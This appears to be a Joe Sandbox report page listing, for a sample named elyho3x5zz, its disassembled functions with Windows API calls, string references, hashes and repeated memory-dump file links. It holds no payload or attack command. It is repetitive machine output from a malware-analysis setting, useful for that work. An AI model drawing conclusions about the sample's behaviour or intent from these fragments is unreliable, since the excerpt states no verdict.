Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p
API String ID: 3215553584-1290815066
Opcode ID: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction ID: 36454ef22e8f76c763c1a23a504fd5ede74bb20d0c5141b07966c62b13f19ad7
Opcode Fuzzy Hash: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction Fuzzy Hash: B012D722E2E24386FF209F35EA446F97661EBD0754F944232D699876D4CF3DE440EB0A

Function 00007FF62927AD30 Relevance: 9.2, APIs: 6, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF62927AD45
VariantClear.OLEAUT32 ref: 00007FF62927ADCA
VariantCopy.OLEAUT32 ref: 00007FF62927ADD6
VariantClear.OLEAUT32 ref: 00007FF62927ADE1
SysAllocString.OLEAUT32 ref: 00007FF62927AE11
VariantCopy.OLEAUT32 ref: 00007FF62927AE73

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: e8b24930f51ba047eb7d77df0b47a13309a91a72afe8362d3ff3918905f513c3
Instruction ID: 31c8650006b25f351553c1e41e41584962b2e7d52460bcdbb9ffb1b8bd9d51e6
Opcode Fuzzy Hash: e8b24930f51ba047eb7d77df0b47a13309a91a72afe8362d3ff3918905f513c3
Instruction Fuzzy Hash: 25716E7192A24282FE28AF259F540BC7260FF85B90F144536D74E9BB91DF2EE851A307

Function 00007FF62928D1F0 Relevance: 9.1, APIs: 6, Instructions: 131filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62928CA34: GetFullPathNameW.KERNEL32 ref: 00007FF62928CA62

Part of subcall function 00007FF62928CA34: GetFullPathNameW.KERNEL32 ref: 00007FF62928CA77

Part of subcall function 00007FF62928CED4: GetFileAttributesW.KERNEL32 ref: 00007FF62928CED8

lstrcmpiW.KERNEL32 ref: 00007FF62928D277
MoveFileW.KERNEL32 ref: 00007FF62928D2AA
wcscat.LIBCMT ref: 00007FF62928D2FB
wcscat.LIBCMT ref: 00007FF62928D30E
wcscat.LIBCMT ref: 00007FF62928D324
SHFileOperationW.SHELL32 ref: 00007FF62928D43E

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Filewcscat$FullNamePath$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 564229958-0
Opcode ID: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
Instruction ID: 059dff7892df902d46c15236f390dbbbaa7cba29060c72457686ac4cc9a881ce
Opcode Fuzzy Hash: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
Instruction Fuzzy Hash: 8E516222A2A68295FF24EF70DD402E97364FFD0BC4F800032E64C9769ADFA8D649D751

Function 00007FF62921D4CC Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

%.15g, xrefs: 00007FF62921D554
False, xrefs: 00007FF629269C90
True, xrefs: 00007FF629269C97
0x%p, xrefs: 00007FF629269CB4

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: %.15g$0x%p$False$True
API String ID: 0-2263619337
Opcode ID: e719f584031d415f058583bc3760330c0d061c7a3d1d344f28d0a5967c239e6c
Instruction ID: 7b9360f45cc9766ed8b517a872c23560045df3d071cb63eb58d35aecbc1f2012
Opcode Fuzzy Hash: e719f584031d415f058583bc3760330c0d061c7a3d1d344f28d0a5967c239e6c
Instruction Fuzzy Hash: 5F517126B2AA42C5FE14DF75DA401BC33A5EFC5B88F144131DA0D97B96CF29D415D341

Function 00007FF629211E04 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629212A54: GetWindowLongPtrW.USER32 ref: 00007FF629212A71

BeginPaint.USER32 ref: 00007FF629211E4C
GetWindowRect.USER32 ref: 00007FF629211EB7
ScreenToClient.USER32 ref: 00007FF629211EDE
SetViewportOrgEx.GDI32 ref: 00007FF629211EF9
EndPaint.USER32 ref: 00007FF629211F5A
Rectangle.GDI32 ref: 00007FF62925A458

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
String ID:
API String ID: 2592858361-0
Opcode ID: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction ID: 9129a0c08eccc5a21cc72312fbc4ac4a884fd4b3585d4ca20233b51f315c0f34
Opcode Fuzzy Hash: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction Fuzzy Hash: 5E519C32A29B9286FB208F11E98476937A4FBC6B94F104135DA5D83B96CF3DE405E702

Function 00007FF62927D2C4 Relevance: 9.1, APIs: 6, Instructions: 77processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF62927D2AB), ref: 00007FF62927D31F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF62927D2AB), ref: 00007FF62927D335
CreateEnvironmentBlock.USERENV(?,?,?,?,?,?,?,?,?,?,?,00007FF62927D2AB), ref: 00007FF62927D34E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF62927D2AB), ref: 00007FF62927D35E
CreateProcessWithLogonW.ADVAPI32 ref: 00007FF62927D3CA
DestroyEnvironmentBlock.USERENV ref: 00007FF62927D3E3

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction ID: 20aa53e1e459f324d99430910e47f5c65e0b73e14a291d117c8f4aa9d52d5506
Opcode Fuzzy Hash: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction Fuzzy Hash: 33319E32619B8586EB608F02F880BAA73A4FBC9B90F154036DE8D87B54CF7DD445DB01

Function 00007FF629241E74 Relevance: 9.1, APIs: 6, Instructions: 56threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629241E90
CreateThread.KERNEL32 ref: 00007FF629241ED4
GetLastError.KERNEL32 ref: 00007FF629241EE2
CloseHandle.KERNEL32 ref: 00007FF629241F01
FreeLibrary.KERNEL32 ref: 00007FF629241F10
ResumeThread.KERNEL32 ref: 00007FF629241F33

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Thread$CloseCreateErrorFreeHandleLastLibraryResume_invalid_parameter_noinfo
String ID:
API String ID: 2082702847-0
Opcode ID: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction ID: 5c73cdba54ff085b0b38ed7c66bfb175b55673000ba7204c053ac3668735ed97
Opcode Fuzzy Hash: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction Fuzzy Hash: C2219F25B2F74281FF189F60AE001797290AFD4B74F141734DA2D863D6DF3CE404AA02

Function 00007FF629282240 Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF62928226B
GetDeviceCaps.GDI32 ref: 00007FF62928227C
GetDeviceCaps.GDI32 ref: 00007FF62928228C
ReleaseDC.USER32 ref: 00007FF629282299
MulDiv.KERNEL32 ref: 00007FF6292822AC
MulDiv.KERNEL32 ref: 00007FF6292822BE

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
Instruction ID: 1fee14b8d0e0ab2c47ca0ae4aad9d00db4b3b57a4953426b5bf179702db8c76d
Opcode Fuzzy Hash: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
Instruction Fuzzy Hash: 47115E35B2A74182FF08CF619A4842976A5FBC8BC1F058539DE1E87B95DF3DD8019741

Function 00007FF6292C09FC Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629212370: ExtCreatePen.GDI32 ref: 00007FF6292123FF
Part of subcall function 00007FF629212370: SelectObject.GDI32 ref: 00007FF629212412
Part of subcall function 00007FF629212370: BeginPath.GDI32 ref: 00007FF62921242B
Part of subcall function 00007FF629212370: SelectObject.GDI32 ref: 00007FF629212452

MoveToEx.GDI32 ref: 00007FF6292C0A3F
LineTo.GDI32 ref: 00007FF6292C0A4E
MoveToEx.GDI32 ref: 00007FF6292C0A60
LineTo.GDI32 ref: 00007FF6292C0A6F
EndPath.GDI32 ref: 00007FF6292C0A81
StrokePath.GDI32 ref: 00007FF6292C0A91

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
Instruction ID: 7e2f727e6e11679ea6e50e0cdd9f90cd7660f9559e835d6d2c8b72ec39508adf
Opcode Fuzzy Hash: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
Instruction Fuzzy Hash: 56115B31A2869286FB148F15AE08B697B64ABC5B94F595130CF0643A90CFBDE455DB40

Function 00007FF629232D5C Relevance: 9.0, APIs: 6, Instructions: 39keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(?,?,?,00007FF629217FA5), ref: 00007FF629232D8E
MapVirtualKeyW.USER32(?,?,?,00007FF629217FA5), ref: 00007FF629232D9C
MapVirtualKeyW.USER32(?,?,?,00007FF629217FA5), ref: 00007FF629232DAC
MapVirtualKeyW.USER32(?,?,?,00007FF629217FA5), ref: 00007FF629232DBC
MapVirtualKeyW.USER32(?,?,?,00007FF629217FA5), ref: 00007FF629232DCA
MapVirtualKeyW.USER32(?,?,?,00007FF629217FA5), ref: 00007FF629232DD8

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
Instruction ID: 85c72fc60c3bdecd35979cc5cb4859fab0e2d384cc0160c2abf48c1a343ba85c
Opcode Fuzzy Hash: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
Instruction Fuzzy Hash: 7111127292A7408AE74CDF39DC485193BB6FB98B09B559034C2498F2A5EF39D49AC701

Function 00007FF62928DA1C Relevance: 9.0, APIs: 6, Instructions: 34windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 00007FF62928DA2F
SendMessageTimeoutW.USER32 ref: 00007FF62928DA5C
GetWindowThreadProcessId.USER32 ref: 00007FF62928DA6F
OpenProcess.KERNEL32 ref: 00007FF62928DA81
TerminateProcess.KERNEL32 ref: 00007FF62928DA8F
CloseHandle.KERNEL32 ref: 00007FF62928DA98

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction ID: 4ba8878af931a3e588d36b5056af22dc88959961e1f974f4ca29094566ba26fe
Opcode Fuzzy Hash: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction Fuzzy Hash: 0D018F32A2A78183FF149F21ED04A297365FFC9B95F455134CA0A47B54DF7CD1888B01

Function 00007FF62927F378 Relevance: 9.0, APIs: 6, Instructions: 33threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32 ref: 00007FF62927F3A8
GetWindowThreadProcessId.USER32 ref: 00007FF62927F3B8
GetCurrentThreadId.KERNEL32 ref: 00007FF62927F3C0
GetWindowThreadProcessId.USER32 ref: 00007FF62927F3D0
GetCurrentThreadId.KERNEL32 ref: 00007FF62927F3D8
AttachThreadInput.USER32 ref: 00007FF62927F3E5

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
Instruction ID: bd4140b42e62d94ae3dff35de05916ebd0c572d32cfb7ed69a0ff62dcdf00f72
Opcode Fuzzy Hash: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
Instruction Fuzzy Hash: E4F08C20F2E79283FF509F71AD48AA97296BFC8745F854134D90E82B90DF7CD184AB02

Function 00007FF62927D868 Relevance: 9.0, APIs: 6, Instructions: 22memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF62927D877
UnloadUserProfile.USERENV ref: 00007FF62927D885
CloseHandle.KERNEL32 ref: 00007FF62927D88F
CloseHandle.KERNEL32 ref: 00007FF62927D898
GetProcessHeap.KERNEL32 ref: 00007FF62927D89E
HeapFree.KERNEL32 ref: 00007FF62927D8AC

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction ID: 036dbb5f75b76ce405c7d229f691e72004224aece2c539ca2f0c9b4760fc4c84
Opcode Fuzzy Hash: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction Fuzzy Hash: E9F0AC25A2AA4182FF04DF76ED5442973A5EFC8FA5B055131CD1E863A4CF7CD4999302

Function 00007FF629280EAF Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF629280EDB

Part of subcall function 00007FF629280B90: CharUpperBuffW.USER32(?,?,00000001,00007FF629280F61), ref: 00007FF629280C6A

Strings

ACTIVE, xrefs: 00007FF629280FBC, 00007FF629280FCD
REGEXPTITLE, xrefs: 00007FF62928105A, 00007FF62928106F
HANDLE, xrefs: 00007FF62928100B, 00007FF62928101C
LAST, xrefs: 00007FF629280F55, 00007FF629280F7E

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: BuffCharForegroundUpperWindow
String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
API String ID: 3570115564-1994484594
Opcode ID: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
Instruction ID: 6fd8072ac5a4c47f2c079e48881bb716b137022b2faa8af54d4b79c6516fc339
Opcode Fuzzy Hash: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
Instruction Fuzzy Hash: F871BF12A3FA5281FE689F61DE012B972A1BFD47C4F844131C94ED66D2EF3CE544A222

Function 00007FF629289898 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 127COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32 ref: 00007FF6292898EB

Strings

APPEND, xrefs: 00007FF6292899BE
KEYS, xrefs: 00007FF629289938
EXISTS, xrefs: 00007FF62928997B
REMOVE, xrefs: 00007FF6292898F1

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
Instruction ID: b1ba98049d25a3d385eb544514a5b2c9806e5ca0eda2d4471aa795a8ea8385f1
Opcode Fuzzy Hash: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
Instruction Fuzzy Hash: 0041D726B3B61341FE544F25CE48179B2D1BB94BD0B140A31CA5DD3B94EF3DE842A311

Function 00007FF629249B18 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 121COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629249B56

Strings

#, xrefs: 00007FF629249BEB
E, xrefs: 00007FF629249BF7
O, xrefs: 00007FF629249BFD

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: #$E$O
API String ID: 3215553584-248080428
Opcode ID: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
Instruction ID: 4dee1d354c0318e07e00d3ed1af1a75a01fd6d616a16329c3aa9560df2e9639f
Opcode Fuzzy Hash: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
Instruction Fuzzy Hash: 2A416F26A6AA5185FF518F61DE405BD33A4BF98F88F086031EE4D97798DF3CD441AB02

Function 00007FF62928B62C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62928CA34: GetFullPathNameW.KERNEL32 ref: 00007FF62928CA62

Part of subcall function 00007FF62928CA34: GetFullPathNameW.KERNEL32 ref: 00007FF62928CA77

lstrcmpiW.KERNEL32 ref: 00007FF62928B682
MoveFileW.KERNEL32 ref: 00007FF62928B6B6
wcscat.LIBCMT ref: 00007FF62928B744
SHFileOperationW.SHELL32 ref: 00007FF62928B7A9

Strings

\*.*, xrefs: 00007FF62928B736

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
